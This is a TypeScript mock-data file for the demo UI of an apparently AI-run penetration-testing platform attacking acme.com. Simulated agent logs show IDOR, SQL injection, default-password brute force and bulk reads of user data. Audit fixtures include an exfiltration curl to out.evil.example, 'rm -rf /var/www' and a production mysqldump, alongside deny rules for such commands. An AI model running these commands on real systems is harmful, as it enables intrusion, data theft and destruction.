{ seq: 45, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t43", summary: "report_finding(SQL Injection, high)" },
|
||||
{ seq: 46, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t43", summary: "finding f-1 已记录" },
|
||||
{ seq: 47, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:20:00Z"), kind: "result", summary: "SQL 注入确认。", input_tokens: 118000, output_tokens: 7400, cache_read_tokens: 82000, cache_write_tokens: 11000 },
|
||||
|
||||
// work#5 · i5 IDOR(running)
|
||||
{ seq: 50, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:31:00Z"), kind: "thinking", summary: "/v1/orders?id= 是数字自增 id,典型 IDOR 面。先取自己的单,再改 id 看能否读他人。" },
|
||||
{ seq: 51, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t51", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001" },
|
||||
{ seq: 52, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t51", summary: "{ \"order_id\":1001, \"user_id\":42, \"amount\":299 }", detail: "自己的订单,正常。" },
|
||||
{ seq: 53, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t52", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002" },
|
||||
{ seq: 54, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t52", summary: "{ \"order_id\":1002, \"user_id\":77, \"amount\":1299, \"phone\":\"138****6021\", \"address\":\"北京市朝阳区 ****\" }", detail: "越权读到他人订单(含手机号/地址),无归属校验。" },
|
||||
{ seq: 55, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t53", summary: "report_finding(IDOR, high)" },
|
||||
{ seq: 56, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t53", summary: "finding f-2 已记录" },
|
||||
{ seq: 57, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T03:58:10Z"), kind: "thinking", summary: "正在批量遍历 id 范围,评估可越权数据规模(暂不导出,避免触发拦截规则)。" },
|
||||
|
||||
// work#3 · i3 后台用户接口枚举(running)
|
||||
{ seq: 60, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:56:00Z"), kind: "thinking", summary: "已有后台会话,枚举管理接口,找能批量导出用户敏感数据的入口(目标②)。" },
|
||||
{ seq: 61, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t61", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1" },
|
||||
{ seq: 62, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t61", summary: "{ \"total\": 12840, \"items\": [ { \"id\":1, \"email\":\"a***@acme.com\", \"phone\":\"139****\" } ] }", detail: "管理接口可分页返回全部用户(含邮箱/手机号),约 1.28 万条。" },
|
||||
{ seq: 63, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:58:20Z"), kind: "thinking", summary: "确认存在批量用户数据读取入口;导出动作命中破坏性/外泄规则,已提交拦截审批等待放行。" },
|
||||
|
||||
// 主 agent(人在环路对话)
|
||||
{ seq: 70, worker: "mainagent", ts: T("2026-07-26T03:18:00Z"), kind: "user", summary: "后台先从哪切入?" },
|
||||
{ seq: 71, worker: "mainagent", ts: T("2026-07-26T03:18:06Z"), kind: "text", summary: "admin.acme.com 是 Element-UI 后台,无验证码、无速率限制。建议先默认口令表(admin/admin123)再上字典。我已注入一条高优意图给 work agent。" },
|
||||
{ seq: 72, worker: "mainagent", ts: T("2026-07-26T03:52:00Z"), kind: "user", summary: "拿到后台了,接下来重点?" },
|
||||
{ seq: 73, worker: "mainagent", ts: T("2026-07-26T03:52:08Z"), kind: "text", summary: "目标②是读用户敏感数据:并行推进「后台用户接口枚举」与「API IDOR」。注意批量导出会触发拦截规则,需要你审批放行。" },
|
||||
];
|
||||
|
||||
export function activityForTask(): Activity[] {
|
||||
return activity;
|
||||
}
|
||||
|
||||
// ── Token stats ──────────────────────────────────────────────────────────────
|
||||
export const tokenWorkers: TokenUsage[] = [
|
||||
{ worker: "planner", input_tokens: 320000, output_tokens: 24000, cache_read_tokens: 210000, cache_write_tokens: 33000 },
|
||||
{ worker: "work#1", input_tokens: 288000, output_tokens: 21000, cache_read_tokens: 190000, cache_write_tokens: 28000 },
|
||||
{ worker: "work#2", input_tokens: 402000, output_tokens: 31000, cache_read_tokens: 280000, cache_write_tokens: 41000 },
|
||||
{ worker: "work#3", input_tokens: 274500, output_tokens: 20320, cache_read_tokens: 210400, cache_write_tokens: 30000 },
|
||||
];
|
||||
|
||||
export const tokenTotal: TokenTotal = grandTotal;
|
||||
|
||||
export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => {
|
||||
const d = new Date("2026-07-26T00:00:00Z");
|
||||
d.setUTCDate(d.getUTCDate() - (29 - i));
|
||||
const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3)));
|
||||
return {
|
||||
date: d.toISOString().slice(0, 10),
|
||||
input_tokens: wave, output_tokens: Math.round(wave * 0.08),
|
||||
cache_read_tokens: Math.round(wave * 0.7), cache_write_tokens: Math.round(wave * 0.12),
|
||||
};
|
||||
});
|
||||
|
||||
export const convTokens: ConvTokenSummary[] = [
|
||||
{ llm_profile_id: 1, created_at: T("2026-07-25T10:00:00Z"), input_tokens: 42000, output_tokens: 3800, cache_read_tokens: 26000, cache_write_tokens: 5200 },
|
||||
{ llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), input_tokens: 18000, output_tokens: 1600, cache_read_tokens: 9000, cache_write_tokens: 2100 },
|
||||
];
|
||||
|
||||
// ── Traffic ──────────────────────────────────────────────────────────────────
|
||||
const exchanges = [
|
||||
["x-1", "www.acme.com", "GET", "https://www.acme.com/", 200, "text/html", 48213],
|
||||
["x-2", "www.acme.com", "GET", "https://www.acme.com/search?q=test", 200, "text/html", 5120],
|
||||
["x-3", "www.acme.com", "GET", "https://www.acme.com/.git/HEAD", 200, "text/plain", 23],
|
||||
["x-4", "admin.acme.com", "GET", "https://admin.acme.com/login", 200, "text/html", 12044],
|
||||
["x-5", "admin.acme.com", "POST", "https://admin.acme.com/login", 302, "text/html", 0],
|
||||
["x-6", "admin.acme.com", "GET", "https://admin.acme.com/dashboard", 200, "text/html", 33120],
|
||||
["x-7", "admin.acme.com", "GET", "https://admin.acme.com/api/users?page=1", 200, "application/json", 8842],
|
||||
["x-8", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1001", 200, "application/json", 640],
|
||||
["x-9", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1002", 200, "application/json", 655],
|
||||
["x-10", "api.acme.com", "GET", "https://api.acme.com/v1/users/me", 200, "application/json", 312],
|
||||
["x-11", "api.acme.com", "GET", "https://api.acme.com/v1/admin", 401, "application/json", 45],
|
||||
["x-12", "shop.acme.com", "GET", "https://shop.acme.com/checkout", 200, "text/html", 21990],
|
||||
["x-13", "shop.acme.com", "POST", "https://shop.acme.com/pay", 200, "application/json", 128],
|
||||
["x-14", "www.acme.com", "GET", "https://www.acme.com/robots.txt", 200, "text/plain", 88],
|
||||
] as const;
|
||||
|
||||
export const traffic: TrafficResp = {
|
||||
enabled: true,
|
||||
proxy: ":8788",
|
||||
count: exchanges.length,
|
||||
total: exchanges.length,
|
||||
page: 0,
|
||||
size: 100,
|
||||
exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({
|
||||
id, host, method, url, status, content_type: ct, resp_len: len,
|
||||
ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`),
|
||||
})),
|
||||
};
|
||||
|
||||
export const trafficDetail: TrafficDetail = {
|
||||
req: `GET /v1/orders?id=1002 HTTP/1.1
|
||||
Host: api.acme.com
|
||||
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
|
||||
User-Agent: ARTEX-worker/1.0
|
||||
Accept: application/json
|
||||
|
||||
`,
|
||||
resp: `HTTP/1.1 200 OK
|
||||
Content-Type: application/json
|
||||
Content-Length: 655
|
||||
|
||||
{
|
||||
"order_id": 1002,
|
||||
"user_id": 77,
|
||||
"amount": 1299.00,
|
||||
"address": "北京市朝阳区 ****",
|
||||
"phone": "138****6021",
|
||||
"items": [{ "sku": "A-100", "qty": 1 }]
|
||||
}`,
|
||||
};
|
||||
|
||||
// ── Security / Audit ─────────────────────────────────────────────────────────
|
||||
export const audit: Audit = {
|
||||
attributions: { allow: 214, block: 6 },
|
||||
entries: [
|
||||
{ ts: T("2026-07-26T03:33:00Z"), tool: "bash", action: "allow", command: "curl -s -d 'username=admin...' https://admin.acme.com/login" },
|
||||
{ ts: T("2026-07-26T03:57:00Z"), tool: "bash", action: "allow", command: "curl -s -b 'session=...' https://admin.acme.com/api/users" },
|
||||
{ ts: T("2026-07-26T02:10:00Z"), tool: "bash", action: "block", reason: "目标越界:out.evil.example 不在 scope 内", command: "curl https://out.evil.example/exfil" },
|
||||
{ ts: T("2026-07-25T22:03:00Z"), tool: "bash", action: "allow", command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch" },
|
||||
{ ts: T("2026-07-25T21:00:00Z"), tool: "bash", action: "block", reason: "破坏性命令门控:rm -rf 被拒绝", command: "rm -rf /var/www" },
|
||||
{ ts: T("2026-07-25T20:30:00Z"), tool: "bash", action: "allow", command: "git-dumper https://www.acme.com/.git/ /tmp/acme" },
|
||||
],
|
||||
};
|
||||
|
||||
// ── LLM profiles ─────────────────────────────────────────────────────────────
|
||||
export const llmProfiles: LLMProfile[] = [
|
||||
{ id: "1", name: "Claude Opus 4.8", format: "anthropic", model: "claude-opus-4-8", api_key_hint: "…a3f2", rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, reasoning_effort: "high", is_default: true },
|
||||
{ id: "2", name: "DeepSeek V4", format: "openai", base_url: "https://api.deepseek.com/v1", model: "deepseek-v4-flash", api_key_hint: "…9c11", rate_per_second: 0, rate_per_minute: 60, context_window_k: 128, reasoning_effort: "", is_default: false },
|
||||
];
|
||||
|
||||
export const llmConfig = {
|
||||
configured: true, provider: "anthropic", model: "claude-opus-4-8",
|
||||
base_url: "", proxy: "", key_set: true,
|
||||
rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, reasoning_effort: "high",
|
||||
};
|
||||
|
||||
// ── Agents ───────────────────────────────────────────────────────────────────
|
||||
export const agents: Agent[] = [
|
||||
{ id: "1", key: "goals", name: "目标拆解器", role: "goals", builtin: true, enabled: true, description: "把任务目标拆成可探索的子目标", max_turns: 8, mcp_count: 0, skill_count: 1, tool_count: 3 },
|
||||
{ id: "2", key: "planner", name: "规划者", role: "planner", builtin: true, enabled: true, description: "读探索路线、判断目标达成、生成意图", max_turns: 0, mcp_count: 1, skill_count: 2, tool_count: 9 },
|
||||
{ id: "3", key: "mainagent", name: "主 Agent", role: "mainagent", builtin: true, enabled: true, description: "人在环路对话,注入 hint / 高优意图", max_turns: 0, web_search: true, mcp_count: 2, skill_count: 3, tool_count: 11 },
|
||||
{ id: "4", key: "worker", name: "Work Agent", role: "worker", builtin: true, enabled: true, description: "claim 意图 → 跑 Kali 工具 → 图写回", max_turns: 40, run_seconds: 1800, web_search: false, interactive_shell: true, mcp_count: 2, skill_count: 3, tool_count: 14 },
|
||||
{ id: "5", key: "recon-bot", name: "侦察机器人(自定义)", role: "custom", builtin: false, enabled: true, description: "定时对新资产做被动侦察", max_turns: 12, mcp_count: 1, skill_count: 1, tool_count: 4 },
|
||||
];
|
||||
|
||||
const promptVars: PromptVar[] = [
|
||||
{ name: "Goal", description: "当前任务目标", example: "拿到 acme.com 后台管理权限", source: "runtime" },
|
||||
{ name: "AssetSummary", description: "资产图概览", example: "6 子域 / 3 IP / 4 应用 / 4 端点", source: "distilled" },
|
||||
{ name: "RouteHint", description: "探索路线提示", example: "优先后台与 API 越权面", source: "exploration" },
|
||||
];
|
||||
|
||||
const promptVersions: PromptVersion[] = [
|
||||
{ version: 3, ts: T("2026-07-25T10:00:00Z"), note: "加强越权探测引导", template_text: "你是 ARTEX 的规划者……" },
|
||||
{ version: 2, ts: T("2026-07-20T10:00:00Z"), note: "初版微调", template_text: "你是 ARTEX 的规划者(v2)……" },
|
||||
];
|
||||
|
||||
export function agentDetail(key: string): AgentDetail {
|
||||
const a = agents.find((x) => x.key === key) ?? agents[1];
|
||||
return {
|
||||
agent: a,
|
||||
prompt: `你是 ARTEX 的「${a.name}」。\n目标:{{.Goal}}\n资产概览:{{.AssetSummary}}\n路线提示:{{.RouteHint}}\n请基于以上信息推进探索,并通过工具把结果写回图。`,
|
||||
variables: promptVars,
|
||||
versions: promptVersions,
|
||||
visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] },
|
||||
wrapup_prompt: "",
|
||||
wrapup_default: "时间/步数将尽,请总结已确认发现并标记意图终态。",
|
||||
wrapup_max_turns: 0,
|
||||
wrapup_max_turns_default: 3,
|
||||
task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner",
|
||||
task_timeout_wrapup_default: "任务超时,请立即收尾并落库当前结论。",
|
||||
task_timeout_wrapup_max_turns_default: 2,
|
||||
};
|
||||
}
|
||||
|
||||
// ── MCP ──────────────────────────────────────────────────────────────────────
|
||||
export const mcpServers: MCPServer[] = [
|
||||
{ id: 1, name: "shodan", transport: "http", url: "https://mcp.shodan.io/sse", args: [], env: {}, enabled: true, tools: ["host_info", "search", "dns_resolve"] },
|
||||
{ id: 2, name: "playwright", transport: "stdio", command: "npx", args: ["-y", "@playwright/mcp"], env: {}, enabled: true, tools: ["browser_navigate", "browser_click", "browser_snapshot"] },
|
||||
];
|
||||
|
||||
export const mcpToolsById: Record<number, MCPTool[]> = {
|
||||
1: [
|
||||
{ name: "host_info", description: "查询某 IP 的 Shodan 主机信息" },
|
||||
{ name: "search", description: "Shodan 搜索" },
|
||||
{ name: "dns_resolve", description: "DNS 解析" },
|
||||
],
|
||||
2: [
|
||||
{ name: "browser_navigate", description: "浏览器打开 URL" },
|
||||
{ name: "browser_click", description: "点击元素" },
|
||||
{ name: "browser_snapshot", description: "抓取可访问性快照" },
|
||||
],
|
||||
};
|
||||
|
||||
// ── Skills ───────────────────────────────────────────────────────────────────
|
||||
export const skills: SkillItem[] = [
|
||||
{ name: "api-recon", description: "对 REST/GraphQL API 做侦察与越权面枚举;发现新 API 端点时使用。", license: "MIT", mcps: [], files: ["SKILL.md", "scripts/enum.py"] },
|
||||
{ name: "playwright-cli", description: "用 Playwright 驱动浏览器做动态爬取与截图;需要渲染 JS 站点时使用。", mcps: ["playwright"], files: ["SKILL.md"] },
|
||||
{ name: "scopesentry", description: "从 ScopeSentry 拉取资产并归并到公司范围;批量导入资产时使用。", files: ["SKILL.md", "assets/mapping.md"] },
|
||||
];
|
||||
|
||||
// ── Tools ────────────────────────────────────────────────────────────────────
|
||||
export const tools: Tool[] = [
|
||||
{ key: "bash", system: true, description: "在 Kali 环境执行 shell 命令(受 scope/破坏性门控)", schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] }, agents: ["worker", "mainagent"], enabled: true, kind: "builtin" },
|
||||
{ key: "report_finding", system: true, description: "上报一个安全发现并连到相关节点", schema: { type: "object", properties: { vulnclass: { type: "string" }, severity: { type: "string" }, summary: { type: "string" }, evidence: { type: "string" } }, required: ["vulnclass", "severity", "summary"] }, agents: ["worker"], enabled: true, kind: "builtin" },
|
||||
{ key: "upsert_asset", system: true, description: "写入/更新资产节点", schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } }, agents: ["worker"], enabled: true, kind: "builtin" },
|
||||
{ key: "list_goals", system: true, description: "列出当前任务的目标与达成状态", schema: { type: "object", properties: {} }, agents: ["planner"], enabled: true, kind: "builtin" },
|
||||
{ key: "nuclei_scan", system: false, description: "自定义:用 nuclei 跑指定模板", schema: { type: "object", properties: { target: { type: "string" }, template: { type: "string" } }, required: ["target"] }, agents: ["worker"], enabled: true, kind: "command", exec: { command: "nuclei", args: ["-u", "{{target}}"] } },
|
||||
];
|
||||
|
||||
// ── Settings ─────────────────────────────────────────────────────────────────
|
||||
export const settings: Settings = {
|
||||
traffic_capture: true,
|
||||
web_search_enabled: true,
|
||||
web_search_backend: "ddgs",
|
||||
brave_key_set: false,
|
||||
tavily_key_set: true,
|
||||
web_search_proxy: "",
|
||||
python_interpreter: "/usr/bin/python3",
|
||||
workers: 3,
|
||||
};
|
||||
|
||||
// ── Intercept ────────────────────────────────────────────────────────────────
|
||||
export const interceptRules: InterceptRule[] = [
|
||||
{ id: 1, name: "破坏性命令需审批", enabled: true, priority: 10, match_target: "tool_input", match_type: "regex", pattern: "rm\\s+-rf|mkfs|dd\\s+if=", action: "ask", message: "检测到破坏性命令,需人工审批", timeout_enabled: true, timeout_seconds: 120, timeout_action: "deny", created_at: T("2026-07-20T10:00:00Z"), updated_at: T("2026-07-20T10:00:00Z") },
|
||||
{ id: 2, name: "外发流量直接拒绝", enabled: true, priority: 20, match_target: "tool_input", match_type: "string", pattern: "exfil", action: "deny", message: "疑似外发数据", timeout_enabled: false, timeout_seconds: 0, timeout_action: "deny", created_at: T("2026-07-21T10:00:00Z"), updated_at: T("2026-07-21T10:00:00Z") },
|
||||
];
|
||||
|
||||
export const interceptPending: InterceptPending[] = [
|
||||
{ id: 101, rule_id: 1, task_id: "t-acme-web", agent_name: "work#3", tool_name: "bash", tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" }, status: "pending", created_at: T("2026-07-26T03:58:00Z") },
|
||||
];
|
||||
|
||||
export const interceptHistory: InterceptApprovalRow[] = [
|
||||
{ id: 90, rule_id: 1, task_id: "t-acme-web", agent_name: "work#1", tool_name: "bash", tool_input: { command: "dd if=/dev/zero of=/tmp/x" }, status: "denied", created_at: T("2026-07-25T20:00:00Z"), decided_at: T("2026-07-25T20:01:00Z"), conv_title: "", conv_agent_key: "", rule_name: "破坏性命令需审批" },
|
||||
{ id: 91, task_id: "t-acme-api", agent_name: "work#2", tool_name: "bash", tool_input: { command: "nmap -sV 203.0.113.11" }, status: "allowed", created_at: T("2026-07-25T18:00:00Z"), decided_at: T("2026-07-25T18:00:05Z"), conv_title: "", conv_agent_key: "", rule_name: "" },
|
||||
];
|
||||
|
||||
// ── Conversations (chat) ─────────────────────────────────────────────────────
|
||||
export const conversations: Conversation[] = [
|
||||
{ id: 1, agent_key: "mainagent", title: "acme 后台切入点讨论", llm_profile_id: 1, created_at: T("2026-07-25T10:00:00Z"), updated_at: T("2026-07-26T03:40:00Z") },
|
||||
{ id: 2, agent_key: "mainagent", title: "API 越权面梳理", llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), updated_at: T("2026-07-24T17:20:00Z") },
|
||||
];
|
||||
|
||||
export const conversationMessages: Record<number, Activity[]> = {
|
||||
1: [
|
||||
{ seq: 1, worker: "user", ts: T("2026-07-25T10:00:00Z"), kind: "user", summary: "后台在哪,先从哪切入?" },
|
||||
{ seq: 2, worker: "mainagent", ts: T("2026-07-25T10:00:04Z"), kind: "thinking", summary: "先确认 admin.acme.com 的登录页技术栈和防护(验证码/速率限制),再决定用默认口令还是字典。" },
|
||||
{ seq: 3, worker: "mainagent", ts: T("2026-07-25T10:00:06Z"), kind: "tool_use", tool: "bash", tool_use_id: "c11", summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'" },
|
||||
{ seq: 4, worker: "mainagent", ts: T("2026-07-25T10:00:08Z"), kind: "tool_result", tool: "bash", tool_use_id: "c11", summary: "element-ui\ncsrf", detail: "Element-UI 后台,有 CSRF token 但无验证码。" },
|
||||
{ seq: 5, worker: "mainagent", ts: T("2026-07-25T10:00:20Z"), kind: "tool_use", tool: "bash", tool_use_id: "c12", summary: "for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done" },
|
||||
{ seq: 6, worker: "mainagent", ts: T("2026-07-25T10:00:24Z"), kind: "tool_result", tool: "bash", tool_use_id: "c12", summary: "401\\n401\\n401\\n401\\n401", detail: "连续 5 次无锁定/无验证码 → 无速率限制,可爆破。" },
|
||||
{ seq: 7, worker: "mainagent", ts: T("2026-07-25T10:00:30Z"), kind: "text", summary: "结论:Element-UI 后台、无验证码、无速率限制。切入顺序:① 先跑默认口令表(admin/admin、admin/admin123、admin/123456)② 不中再上 top1000 字典。我已把「后台默认口令测试」作为高优意图注入给 work agent。" },
|
||||
{ seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "成了吗?" },
|
||||
{ seq: 9, worker: "mainagent", ts: T("2026-07-26T03:40:05Z"), kind: "text", summary: "成了 —— admin/admin123 直接登进控制台,已记为高危发现并证明「获取后台管理权限」目标达成。下一步转向读用户数据(目标②)。" },
|
||||
],
|
||||
2: [
|
||||
{ seq: 1, worker: "user", ts: T("2026-07-24T16:00:00Z"), kind: "user", summary: "帮我梳理下 api.acme.com 的越权面。" },
|
||||
{ seq: 2, worker: "mainagent", ts: T("2026-07-24T16:00:05Z"), kind: "thinking", summary: "先摸 API 的鉴权方式和几个关键端点的行为,再判断 IDOR / JWT 风险。" },
|
||||
{ seq: 3, worker: "mainagent", ts: T("2026-07-24T16:00:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "c21", summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'" },
|
||||
{ seq: 4, worker: "mainagent", ts: T("2026-07-24T16:00:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "c21", summary: "{ \"id\": 42, \"role\": \"user\" }", detail: "普通用户 token 可用。" },
|
||||
{ seq: 5, worker: "mainagent", ts: T("2026-07-24T16:00:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "c22", summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # 看算法" },
|
||||
{ seq: 6, worker: "mainagent", ts: T("2026-07-24T16:00:31Z"), kind: "tool_result", tool: "bash", tool_use_id: "c22", summary: "{\"alg\":\"HS256\",\"typ\":\"JWT\"}", detail: "HS256 对称签名,若密钥弱可离线爆破伪造。" },
|
||||
{ seq: 7, worker: "mainagent", ts: T("2026-07-24T16:01:00Z"), kind: "text", summary: "越权面有两条:① /v1/orders?id= 是自增数字 id → 典型 IDOR,改 id 试读他人订单;② JWT 用 HS256,试 john/hashcat 爆密钥→可伪造任意 sub 越权。我把这两条各派生成一个意图。建议先做 IDOR(成本低、影响直接)。" },
|
||||
],
|
||||
};
|
||||
@@ -0,0 +1,3 @@
|
||||
// Mock 开关。构建期注入的公开变量(NEXT_PUBLIC_ 前缀才在浏览器可读)。
|
||||
// Vercel 上设 NEXT_PUBLIC_MOCK=1 即整站走 mock、无需后端。
|
||||
export const MOCK = process.env.NEXT_PUBLIC_MOCK === "1";
|
||||
@@ -0,0 +1,168 @@
|
||||
// Mock 路由:把 (method, path) 映射到 lib/mock/data 的静态数据。
|
||||
// 未命中的一律返回安全默认([] / {} / {ok:true}),保证任何页面都不崩。
|
||||
// 只在 NEXT_PUBLIC_MOCK=1 时经由 api.ts 的 http() 短路进入这里。
|
||||
|
||||
import * as D from "./data";
|
||||
|
||||
const delay = (ms = 120) => new Promise((r) => setTimeout(r, ms));
|
||||
|
||||
function parseBody(body?: BodyInit | null): Record<string, unknown> {
|
||||
if (typeof body !== "string") return {};
|
||||
try {
|
||||
return JSON.parse(body) as Record<string, unknown>;
|
||||
} catch {
|
||||
return {};
|
||||
}
|
||||
}
|
||||
|
||||
export async function mockHandle<T>(method: string, rawPath: string, body?: BodyInit | null): Promise<T> {
|
||||
await delay();
|
||||
const [path, qs] = rawPath.split("?");
|
||||
const q = new URLSearchParams(qs ?? "");
|
||||
const seg = path.split("/").filter(Boolean); // ["exploration","activity"]
|
||||
const m = method.toUpperCase();
|
||||
const b = parseBody(body);
|
||||
return route(m, path, seg, q, b) as T;
|
||||
}
|
||||
|
||||
function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Record<string, unknown>): unknown {
|
||||
const task = q.get("task") ?? undefined;
|
||||
|
||||
// ── auth:让 demo 直接进主界面 ──
|
||||
if (path === "/auth/status") return { initialized: true };
|
||||
if (path === "/auth/login" || path === "/auth/init") return { token: "mock-demo" };
|
||||
if (path === "/auth/change-password") return { ok: true };
|
||||
|
||||
// ── tasks ──
|
||||
if (path === "/tasks" && m === "GET") return { tasks: D.tasks, active: D.ACTIVE_TASK };
|
||||
if (path === "/tasks" && m === "POST")
|
||||
return { ...D.tasks[0], id: "t-new", description: String(b.description ?? "新任务"), goal: String(b.goal ?? ""), status: "created" };
|
||||
if (seg[0] === "tasks" && seg.length === 2 && m === "DELETE") return { deleted: 1 };
|
||||
if (seg[0] === "tasks" && seg[2] === "control") return { id: seg[1], paused: b.action === "pause" };
|
||||
if (seg[0] === "tasks" && seg[2] === "chat" && seg[3] === "stop") return { status: "stopped" };
|
||||
if (path === "/active") return { active: String(b.id ?? D.ACTIVE_TASK) };
|
||||
|
||||
// ── stats ──
|
||||
if (path === "/stats") return D.stats(task);
|
||||
|
||||
// ── assets ──
|
||||
if (path === "/assets/counts") return D.assetCounts;
|
||||
if (path === "/assets" && m === "GET") {
|
||||
const type = q.get("type") ?? "";
|
||||
const list = type ? D.assets.filter((a) => a.type === type) : D.assets;
|
||||
const limit = Number(q.get("limit") ?? 50);
|
||||
const offset = Number(q.get("offset") ?? 0);
|
||||
return { count: list.length, total: list.length, assets: list.slice(offset, offset + limit) };
|
||||
}
|
||||
if (path === "/assets" && m === "DELETE") return { deleted: (b.ids as unknown[])?.length ?? 0 };
|
||||
|
||||
// ── companies ──
|
||||
if (path === "/companies" && m === "GET") return D.companies;
|
||||
if (path === "/companies" && m === "POST") return { id: 2, created: true, scope_added: 0 };
|
||||
if (seg[0] === "companies" && seg[2] === "scope") return { added: 0, skipped: 0, invalid: 0 };
|
||||
if (seg[0] === "companies" && seg.length === 2 && m === "DELETE") return { deleted: 1, assets_deleted: 0 };
|
||||
|
||||
// ── exploration ──
|
||||
if (path === "/exploration/frontier") return D.frontier;
|
||||
if (path === "/exploration/findings") return task ? D.findings.filter((f) => f.task_id === task) : D.findings;
|
||||
if (path === "/exploration/intents") return D.intents;
|
||||
if (path === "/exploration/tokens") return { workers: D.tokenWorkers, total: D.tokenTotal };
|
||||
if (path === "/exploration/graph") return D.explorationGraph;
|
||||
if (path === "/exploration/activity" && seg.length === 2) {
|
||||
const items = D.activityForTask();
|
||||
return { items, cursor: items.length ? items[items.length - 1].seq : 0 };
|
||||
}
|
||||
if (seg[0] === "exploration" && seg[1] === "activity" && seg.length === 3)
|
||||
return { detail: "(demo)此活动的完整工具输入/输出明细。" };
|
||||
if (path === "/tokens/daily") return D.dailyTokens;
|
||||
if (path === "/tokens/conversations") return D.convTokens;
|
||||
|
||||
// ── traffic / audit / settings ──
|
||||
if (path === "/audit") return D.audit;
|
||||
if (path === "/traffic") return D.traffic;
|
||||
if (path === "/traffic/exchange") return D.trafficDetail;
|
||||
if (path === "/settings" && m === "GET") return D.settings;
|
||||
if (path === "/settings" && m === "PUT") return { ...D.settings, ...b };
|
||||
if (path === "/settings/web-search/test") return { ok: true, count: 5, backend: D.settings.web_search_backend };
|
||||
if (path === "/settings/python/detect") return { python_interpreter: "/usr/bin/python3" };
|
||||
if (path === "/chat") return { reply: "(demo)我已把该建议注入为一条高优意图,work agent 会尽快执行。", mode: "hint" };
|
||||
if (path === "/gc") return { removed: 0 };
|
||||
|
||||
// ── LLM ──
|
||||
if (path === "/llm" && m === "GET") return D.llmConfig;
|
||||
if (path === "/llm" && m === "POST") return { ok: true };
|
||||
if (path === "/llm/test") return { ok: true, latency_ms: 128, model: String(b.model ?? "claude-opus-4-8") };
|
||||
if (path === "/llm/profiles" && m === "GET") return { profiles: D.llmProfiles };
|
||||
if (path === "/llm/profiles" && m === "POST") return { id: Number(b.id) || 3 };
|
||||
if (path === "/llm/profiles/active") return { ok: true };
|
||||
if (seg[0] === "llm" && seg[1] === "profiles" && seg.length === 3 && m === "DELETE") return { deleted: Number(seg[2]) };
|
||||
|
||||
// ── agents ──
|
||||
if (path === "/agents" && m === "GET") return { agents: D.agents };
|
||||
if (path === "/agents" && m === "POST") return { id: "9", key: String(b.key ?? "custom"), name: String(b.name ?? ""), role: "custom", builtin: false, enabled: true };
|
||||
if (seg[0] === "agents" && seg.length === 2 && m === "GET") return D.agentDetail(seg[1]);
|
||||
if (seg[0] === "agents" && seg[2] === "triggers" && m === "GET") return { triggers: [] };
|
||||
if (seg[0] === "agents" && seg[2] === "prompts") return { versions: D.agentDetail(seg[1]).versions };
|
||||
if (seg[0] === "agents" && seg[2] === "variables") return { variables: D.agentDetail(seg[1]).variables };
|
||||
if (seg[0] === "agents" && seg[2] === "prompt" && seg[3] === "preview")
|
||||
return { rendered: String(b.template ?? "").replace(/\{\{\.(\w+)\}\}/g, "«$1»") };
|
||||
if (seg[0] === "agents" && seg[2] === "visibility" && m === "GET") return D.agentDetail(seg[1]).visibility;
|
||||
|
||||
// ── conversations ──
|
||||
